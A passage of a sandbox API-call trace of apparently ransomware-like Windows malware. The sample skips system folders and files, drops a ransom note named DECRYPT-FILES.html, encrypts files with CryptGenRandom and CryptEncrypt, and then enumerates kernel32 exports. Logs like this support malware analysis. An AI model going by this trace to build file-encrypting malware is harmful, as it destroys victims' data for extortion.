lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0098.652] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0098.652] lstrlenW (lpString="C:\\$GetCurrent\\") returned 15 [0098.652] lstrlenW (lpString="eogwkz.dat") returned 10 [0098.653] lstrcpyW (in: lpString1=0x38bf260, lpString2="C:\\$GetCurrent\\" | out: lpString1="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\" [0098.653] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="eogwkz.dat" | out: lpString1="C:\\$GetCurrent\\eogwkz.dat") returned="C:\\$GetCurrent\\eogwkz.dat" [0098.653] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0098.653] CreateFileW (lpFileName="C:\\$GetCurrent\\eogwkz.dat" (normalized: "c:\\$getcurrent\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.653] CloseHandle (hObject=0x0) returned 0 [0098.653] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.654] FindNextFileW (in: hFindFile=0x6bba70, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0098.654] lstrcmpW (lpString1="Logs", lpString2=".") returned 1 [0098.654] lstrcmpW (lpString1="Logs", lpString2="..") returned 1 [0098.654] lstrcatW (in: lpString1="Logs", lpString2="\\" | out: lpString1="Logs\\") returned="Logs\\" [0098.654] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="Logs\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch=":\\Windows") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\Program Files") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\Games\\") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\Tor Browser\\") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\ProgramData\\") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0098.654] StrStrW (lpFirst="C:\\$GetCurrent\\Logs\\", lpSrch="\\All Users") returned 0x0 [0098.654] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0098.654] lstrlenW (lpString="eogwkz.dat") returned 10 [0098.654] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\Logs\\\\eogwkz.dat") returned 31 [0098.654] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\\\eogwkz.dat" (normalized: "c:\\$getcurrent\\logs\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x534 [0098.904] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0098.904] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0098.904] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\$GetCurrent\\Logs\\\\DECRYPT-FILES.html") returned 39 [0098.904] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\\\DECRYPT-FILES.html" (normalized: "c:\\$getcurrent\\logs\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0098.907] WriteFile (in: hFile=0x53c, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0098.912] CloseHandle (hObject=0x53c) returned 1 [0098.915] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0098.915] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="*" | out: lpString1="C:\\$GetCurrent\\Logs\\*") returned="C:\\$GetCurrent\\Logs\\*" [0098.915] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4133831f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b76, cFileName=".", cAlternateFileName="")) returned 0x6bbb70 [0098.916] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.916] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4133831f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="..", cAlternateFileName="")) returned 1 [0098.917] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0098.917] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.918] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4133831f, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4133831f, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4135e777, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0098.918] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0098.918] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="DECRYPT-FILES.html") returned 1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="autorun.inf") returned 1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="boot.ini") returned 1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="desktop.ini") returned 1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="ntuser.dat") returned -1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="iconcache.db") returned -1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="bootsect.bak") returned 1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="ntuser.dat.log") returned -1 [0098.918] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="thumbs.db") returned -1 [0098.919] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="Bootfont.bin") returned 1 [0098.919] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0098.919] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0098.919] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\Logs\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0098.919] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="downlevel_2017_09_07_02_02_39_766.log" | out: lpString1="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" [0098.919] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0098.920] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0099.004] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=42674) returned 1 [0099.004] CreateFileMappingW (hFile=0x540, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x544 [0099.004] MapViewOfFile (hFileMappingObject=0x544, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0099.796] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3b60000 | out: pbBuffer=0x3b60000) returned 1 [0099.797] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3b60020 | out: pbBuffer=0x3b60020) returned 1 [0099.797] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0099.797] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0099.798] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0099.897] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.897] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0099.898] CloseHandle (hObject=0x544) returned 1 [0099.898] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.898] WriteFile (in: hFile=0x540, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0099.899] CloseHandle (hObject=0x0) returned 0 [0099.899] CloseHandle (hObject=0x540) returned 1 [0099.900] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.901] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.901] GetTickCount () returned 0x2e862 [0099.901] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0099.902] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0099.902] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0099.902] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0099.902] lstrlenA (lpString="kernel32.dll") returned 12 [0099.902] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0099.902] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0099.903] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0099.903] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0099.903] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0099.903] lstrlenA (lpString="ADDATOMA") returned 8 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0099.903] lstrlenA (lpString="ADDATOMW") returned 8 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0099.903] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0099.903] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0099.903] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0099.903] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0099.903] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0099.903] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0099.903] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0099.903] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0099.903] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0099.903] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0099.903] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0099.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0099.904] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0099.904] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0099.904] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0099.904] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0099.904] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0099.904] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0099.904] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0099.904] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0099.904] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0099.904] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0099.904] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0099.904] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0099.904] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0099.904] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0099.904] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0099.904] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0099.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0099.904] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0099.905] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0099.905] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0099.905] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0099.905] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0099.905] lstrlenA (lpString="BACKUPREAD") returned 10 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0099.905] lstrlenA (lpString="BACKUPSEEK") returned 10 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0099.905] lstrlenA (lpString="BACKUPWRITE") returned 11 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0099.905] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0099.905] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0099.905] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0099.905] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0099.905] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0099.905] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0099.905] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0099.905] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0099.905] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0099.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0099.906] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0099.906] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0099.906] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0099.906] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0099.906] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0099.906] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0099.906] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0099.906] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0099.906] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0099.906] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0099.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") 